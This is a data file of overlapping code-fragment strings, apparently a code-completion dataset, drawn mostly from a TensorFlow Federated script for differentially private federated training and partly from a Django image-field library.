self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def", "import FilterLibrary from .registry import autodiscover, versatileimagefield_registry from .settings import", "pass else: folder, filename = os.path.split(self.name) basename, ext = os.path.splitext(filename)", "0.5) ) self.ppoi = instance_ppoi_value else: self.ppoi = (0.5, 0.5)", "return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url @property def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\"" ]
[ "flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags) # Update with optimizer flags corresponding", "main(argv): if len(argv) > 1: raise app.UsageError('Expected no command-line arguments,", "If ' 'None, clip adaptation is not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5,", "of total training rounds.') flags.DEFINE_string( 'experiment_name', None, 'The name of", "uniformly.') # Task specification with utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags() FLAGS", "2.0 (the \"License\"); # you may not use this file", "flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed for client sampling.') flags.DEFINE_integer( 'max_elements_per_client', None,", "<= 0: raise ValueError('clip must be positive if clipping is", "is not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False,", "ValueError('clip must be positive if DP is enabled.') if FLAGS.adaptive_clip_learning_rate", "= flags.FLAGS def _write_hparam_flags(): \"\"\"Returns an ordered dictionary of pertinent", "task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda", "batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for weight in", "'Number of epochs in the client to take per round.')", "only implemented for uniform weighting.') if FLAGS.noise_multiplier <= 0: raise", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "value for fixed clipping or initial clip for ' 'adaptive", "' 'adaptive clipping is enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round,", "None if FLAGS.noise_multiplier is None: if FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory()", "global model on the validation dataset.') flags.DEFINE_integer( 'num_validation_examples', -1, 'The", "import app from absl import flags from absl import logging", "positive if ' 'adaptive clipping is enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise(", "'Maximum number of ' 'elements for each training client. If", "weight in task.model_fn().trainable_variables: logging.info('name: %s shape: %s', weight.name, weight.shape) if", "len(argv) > 1: raise app.UsageError('Expected no command-line arguments, ' 'got:", "'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often to checkpoint the global", "or initial clip for ' 'adaptive clipping. If None, no", "training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics =", "for ' 'adaptive clipping. If None, no clipping is used.')", "flags.DEFINE_integer('total_rounds', 200, 'Number of total training rounds.') flags.DEFINE_string( 'experiment_name', None,", "this experiment. Will be append to ' '--root_output_dir to separate", "used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether to", "per round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch size on the clients.') flags.DEFINE_integer('clients_per_round',", "client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process(", "be positive if ' 'adaptive clipping is enabled.') aggregation_factory =", "= tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint,", "if FLAGS.noise_multiplier <= 0: raise ValueError('noise_multiplier must be positive if", "enabled.') if FLAGS.adaptive_clip_learning_rate is None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round,", "aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process =", "in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds + 1) if __name__ == '__main__':", "client sampling.') flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum number of ' 'elements", "use this file except in compliance with the License. #", "clients.') flags.DEFINE_integer('clients_per_round', 10, 'How many clients to sample per round.')", "often to checkpoint the global model.') with utils_impl.record_hparam_flags() as dp_flags:", "total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics = federated_eval(state.model,", "evaluation_data): return federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers = training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name)", "round_num: [validation_data] def evaluation_fn(state, evaluation_data): return federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers", "Update with optimizer flags corresponding to the chosen optimizers. opt_flag_dict", "iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data =", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate <= 0: raise", "'How often to evaluate the global model on the validation", "if len(argv) > 1: raise app.UsageError('Expected no command-line arguments, '", "License. # You may obtain a copy of the License", "tf import tensorflow_federated as tff from utils import task_utils from", "adaptation is not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting',", "= test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda round_num: [validation_data]", "'Clip value for fixed clipping or initial clip for '", "FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory() else: aggregation_factory = tff.aggregators.MeanFactory() if FLAGS.clip", "under the License is distributed on an \"AS IS\" BASIS,", "def _write_hparam_flags(): \"\"\"Returns an ordered dictionary of pertinent hyperparameter flags.\"\"\"", "if not FLAGS.uniform_weighting: raise ValueError( 'Differential privacy is only implemented", "License for the specific language governing permissions and # limitations", "tff.aggregators.MeanFactory() if FLAGS.clip is not None: if FLAGS.clip <= 0:", "is enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate)", "'Adaptive clip learning rate. If ' 'None, clip adaptation is", "0: raise ValueError('noise_multiplier must be positive if DP is enabled.')", "If set to -1, all available examples ' 'are used.')", "200, 'Number of total training rounds.') flags.DEFINE_string( 'experiment_name', None, 'The", "hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of epochs in the client to", "' 'got: {}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec", "validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda round_num:", "FLAGS = flags.FLAGS def _write_hparam_flags(): \"\"\"Returns an ordered dictionary of", "\"\"\"Returns an ordered dictionary of pertinent hyperparameter flags.\"\"\" hparam_dict =", "federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda round_num: [validation_data] def evaluation_fn(state,", "on the validation dataset.') flags.DEFINE_integer( 'num_validation_examples', -1, 'The number of", "tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round)", "flags task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv):", "task_utils from utils import training_utils from utils import utils_impl from", "task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for weight in task.model_fn().trainable_variables: logging.info('name:", "logging.info('name: %s shape: %s', weight.name, weight.shape) if FLAGS.uniform_weighting: client_weighting =", "LLC. # # Licensed under the Apache License, Version 2.0", "flags.DEFINE_string( 'experiment_name', None, 'The name of this experiment. Will be", "training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state = tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds,", "raise app.UsageError('Expected no command-line arguments, ' 'got: {}'.format(argv)) client_optimizer_fn =", "as task_flags: task_utils.define_task_flags() FLAGS = flags.FLAGS def _write_hparam_flags(): \"\"\"Returns an", "corresponding to the chosen optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict =", "optimizer_utils with utils_impl.record_hparam_flags() as optimizer_flags: # Defining optimizer flags optimizer_utils.define_optimizer_flags('client')", "if FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM elif FLAGS.task == 'shakespeare_character' or", "in compliance with the License. # You may obtain a", "seed for client sampling.') flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum number of", "separate experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory for writing experiment", "the validation dataset.') flags.DEFINE_integer( 'num_validation_examples', -1, 'The number of validation'", "aggregation_factory) else: if not FLAGS.uniform_weighting: raise ValueError( 'Differential privacy is", "round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch size on the clients.') flags.DEFINE_integer('clients_per_round', 10,", "software # distributed under the License is distributed on an", "Will be append to ' '--root_output_dir to separate experiment results.')", "as tff from utils import task_utils from utils import training_utils", "flags.DEFINE_integer('clients_per_round', 10, 'How many clients to sample per round.') flags.DEFINE_integer('client_datasets_random_seed',", "be positive if clipping is enabled.') if FLAGS.adaptive_clip_learning_rate is None:", "of validation' 'examples to use. If set to -1, all", "# Task specification with utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags() FLAGS =", "<= 0: raise ValueError('noise_multiplier must be positive if DP is", "enabled.') if FLAGS.clip is None or FLAGS.clip <= 0: raise", "if FLAGS.clip is None or FLAGS.clip <= 0: raise ValueError('clip", "from absl import flags from absl import logging import tensorflow", "under the License. \"\"\"Runs federated training with differential privacy on", "with utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags() FLAGS = flags.FLAGS def _write_hparam_flags():", "= utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict)", "optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client)", "# limitations under the License. \"\"\"Runs federated training with differential", "import utils_impl from utils.optimizers import optimizer_utils with utils_impl.record_hparam_flags() as optimizer_flags:", "rounds.') flags.DEFINE_string( 'experiment_name', None, 'The name of this experiment. Will", "10, 'How many clients to sample per round.') flags.DEFINE_integer('client_datasets_random_seed', 1,", "train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable", "uniform weighting.') if FLAGS.noise_multiplier <= 0: raise ValueError('noise_multiplier must be", "'adaptive clipping. If None, no clipping is used.') flags.DEFINE_float('noise_multiplier', None,", "tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for", "to the chosen optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client',", "optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update with", "is enabled.') if FLAGS.adaptive_clip_learning_rate is None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier,", "state = tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager,", "0.5, 'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether to weigh clients", "optimizer_flags: # Defining optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as", "flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive clip learning rate. If ' 'None,", "no command-line arguments, ' 'got: {}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn", "flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory for writing experiment output.') flags.DEFINE_integer( 'rounds_per_eval',", "of epochs in the client to take per round.') flags.DEFINE_integer('client_batch_size',", "app.UsageError('Expected no command-line arguments, ' 'got: {}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client')", "== 'shakespeare_character' or FLAGS.task == 'stackoverflow_word': def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']),", "training with differential privacy on various tasks.\"\"\" import functools from", "ValueError('adaptive_clip_learning_rate must be positive if ' 'adaptive clipping is enabled.')", "Google LLC. # # Licensed under the Apache License, Version", "metrics_manager in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds + 1) if __name__ ==", "num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for weight", "tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn,", "import task_utils from utils import training_utils from utils import utils_impl", "tff from utils import task_utils from utils import training_utils from", "utils_impl.record_hparam_flags() as dp_flags: # Differential privacy flags flags.DEFINE_float( 'clip', None,", "'Root directory for writing experiment output.') flags.DEFINE_integer( 'rounds_per_eval', 1, 'How", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "hparam_dict.update(opt_flag_dict) # Update with task flags task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict)", "clip = FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "must be positive if ' 'adaptive clipping is enabled.') clip", "flags.DEFINE_boolean('uniform_weighting', False, 'Whether to weigh clients uniformly.') # Task specification", "the License. # You may obtain a copy of the", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "None or FLAGS.clip <= 0: raise ValueError('clip must be positive", "to in writing, software # distributed under the License is", "clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting,", "# See the License for the specific language governing permissions", "import tensorflow as tf import tensorflow_federated as tff from utils", "must be positive if ' 'adaptive clipping is enabled.') aggregation_factory", "import logging import tensorflow as tf import tensorflow_federated as tff", "hparam_dict = utils_impl.lookup_flag_values(shared_flags) # Update with optimizer flags corresponding to", "client_weighting = tff.learning.ClientWeighting.UNIFORM elif FLAGS.task == 'shakespeare_character' or FLAGS.task ==", "is enabled.') if FLAGS.adaptive_clip_learning_rate is None: clip = FLAGS.clip else:", "or agreed to in writing, software # distributed under the", "required by applicable law or agreed to in writing, software", "_write_hparam_flags() state = tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval,", "of pertinent hyperparameter flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags) # Update with", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "with the License. # You may obtain a copy of", "None, 'Maximum number of ' 'elements for each training client.", "number of ' 'elements for each training client. If set", "is None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if", "metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds + 1) if __name__ == '__main__': app.run(main)", "= functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data() validation_data", "-1, 'The number of validation' 'examples to use. If set", "training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of epochs in the client", "be positive if DP is enabled.') if FLAGS.adaptive_clip_learning_rate is None:", "clients uniformly.') # Task specification with utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags()", "Copyright 2020, Google LLC. # # Licensed under the Apache", "compliance with the License. # You may obtain a copy", "experiment output.') flags.DEFINE_integer( 'rounds_per_eval', 1, 'How often to evaluate the", "metrics_managers=metrics_managers) test_metrics = federated_eval(state.model, [test_data]) for metrics_manager in metrics_managers: metrics_manager.release(test_metrics,", "agreed to in writing, software # distributed under the License", "the client to take per round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch size", "opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server',", "program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics = federated_eval(state.model, [test_data]) for metrics_manager in", "experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory for writing experiment output.')", "epochs in the client to take per round.') flags.DEFINE_integer('client_batch_size', 20,", "distributed under the License is distributed on an \"AS IS\"", "from utils import task_utils from utils import training_utils from utils", "or FLAGS.task == 'stackoverflow_word': def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else:", "task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn =", "model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation,", "if DP is enabled.') if FLAGS.adaptive_clip_learning_rate is None: aggregation_factory =", "elif FLAGS.task == 'shakespeare_character' or FLAGS.task == 'stackoverflow_word': def client_weighting(local_outputs):", "task.model_fn().trainable_variables: logging.info('name: %s shape: %s', weight.name, weight.shape) if FLAGS.uniform_weighting: client_weighting", "all available examples ' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "validation dataset.') flags.DEFINE_integer( 'num_validation_examples', -1, 'The number of validation' 'examples", "shape: %s', weight.name, weight.shape) if FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM elif", "flags corresponding to the chosen optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "not use this file except in compliance with the License.", "federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers = training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state", "tasks.\"\"\" import functools from absl import app from absl import", "ordered dictionary of pertinent hyperparameter flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags) #", "aggregation_factory = tff.aggregators.UnweightedMeanFactory() else: aggregation_factory = tff.aggregators.MeanFactory() if FLAGS.clip is", "iterative_process)) training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data =", "raise ValueError('noise_multiplier must be positive if DP is enabled.') if", "writing, software # distributed under the License is distributed on", "raise ValueError('clip must be positive if clipping is enabled.') if", "you may not use this file except in compliance with", "'max_elements_per_client', None, 'Maximum number of ' 'elements for each training", "utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict)", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "as tf import tensorflow_federated as tff from utils import task_utils", "'Noise multiplier. If None, non-DP aggregator is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate',", "None, 'The name of this experiment. Will be append to", "be append to ' '--root_output_dir to separate experiment results.') flags.DEFINE_string('root_output_dir',", "training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv): if len(argv) > 1: raise", "are used.') # Training loop configuration flags.DEFINE_integer('total_rounds', 200, 'Number of", "and # limitations under the License. \"\"\"Runs federated training with", "FLAGS.clip is None or FLAGS.clip <= 0: raise ValueError('clip must", "utils import training_utils from utils import utils_impl from utils.optimizers import", "opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update with task flags task_flag_dict = utils_impl.lookup_flag_values(task_flags)", "dp_flags: # Differential privacy flags flags.DEFINE_float( 'clip', None, 'Clip value", "CONDITIONS OF ANY KIND, either express or implied. # See", "utils_impl.lookup_flag_values(shared_flags) # Update with optimizer flags corresponding to the chosen", "must be positive if DP is enabled.') if FLAGS.clip is", "global model.') with utils_impl.record_hparam_flags() as dp_flags: # Differential privacy flags", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "client to take per round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch size on", "take per round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch size on the clients.')", "'/tmp/fed_opt/', 'Root directory for writing experiment output.') flags.DEFINE_integer( 'rounds_per_eval', 1,", "'None, clip adaptation is not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped", "non-DP aggregator is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive clip learning", "0: raise ValueError('adaptive_clip_learning_rate must be positive if ' 'adaptive clipping", "random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval =", "FLAGS.experiment_name) def main(argv): if len(argv) > 1: raise app.UsageError('Expected no", "client. If set to None, all ' 'available examples are", "privacy is only implemented for uniform weighting.') if FLAGS.noise_multiplier <=", "positive if ' 'adaptive clipping is enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive(", "FLAGS.experiment_name) _write_hparam_flags() state = tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn,", "ValueError('clip must be positive if clipping is enabled.') if FLAGS.adaptive_clip_learning_rate", "0: raise ValueError('clip must be positive if DP is enabled.')", "optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update with task flags task_flag_dict =", "[test_data]) for metrics_manager in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds + 1) if", "[validation_data] def evaluation_fn(state, evaluation_data): return federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers =", "'Batch size on the clients.') flags.DEFINE_integer('clients_per_round', 10, 'How many clients", "' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often to checkpoint the", "tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples)", "None, 'Adaptive clip learning rate. If ' 'None, clip adaptation", "to weigh clients uniformly.') # Task specification with utils_impl.record_hparam_flags() as", "Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of epochs in the", "= tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:')", "OR CONDITIONS OF ANY KIND, either express or implied. #", "clipping is enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory", "to separate experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory for writing", "FLAGS.adaptive_clip_learning_rate is None: clip = FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate <=", "lambda round_num: [validation_data] def evaluation_fn(state, evaluation_data): return federated_eval(state.model, evaluation_data) program_state_manager,", "= None if FLAGS.noise_multiplier is None: if FLAGS.uniform_weighting: aggregation_factory =", "the License is distributed on an \"AS IS\" BASIS, #", "if FLAGS.adaptive_clip_learning_rate is None: clip = FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate", "clipping or initial clip for ' 'adaptive clipping. If None,", "clipping is enabled.') if FLAGS.adaptive_clip_learning_rate is None: clip = FLAGS.clip", "Defining optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as shared_flags: #", "round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed for client sampling.') flags.DEFINE_integer( 'max_elements_per_client',", "None: if FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory() else: aggregation_factory = tff.aggregators.MeanFactory()", "FLAGS.uniform_weighting: raise ValueError( 'Differential privacy is only implemented for uniform", "optimizer flags corresponding to the chosen optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags)", "results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory for writing experiment output.') flags.DEFINE_integer(", "noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate", "task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv): if", "else: client_weighting = None if FLAGS.noise_multiplier is None: if FLAGS.uniform_weighting:", "FLAGS.clip is not None: if FLAGS.clip <= 0: raise ValueError('clip", "train_data.dataset_computation, iterative_process)) training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data", "training rounds.') flags.DEFINE_string( 'experiment_name', None, 'The name of this experiment.", "Update with task flags task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir,", "per round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed for client sampling.') flags.DEFINE_integer(", "20, 'Batch size on the clients.') flags.DEFINE_integer('clients_per_round', 10, 'How many", "append to ' 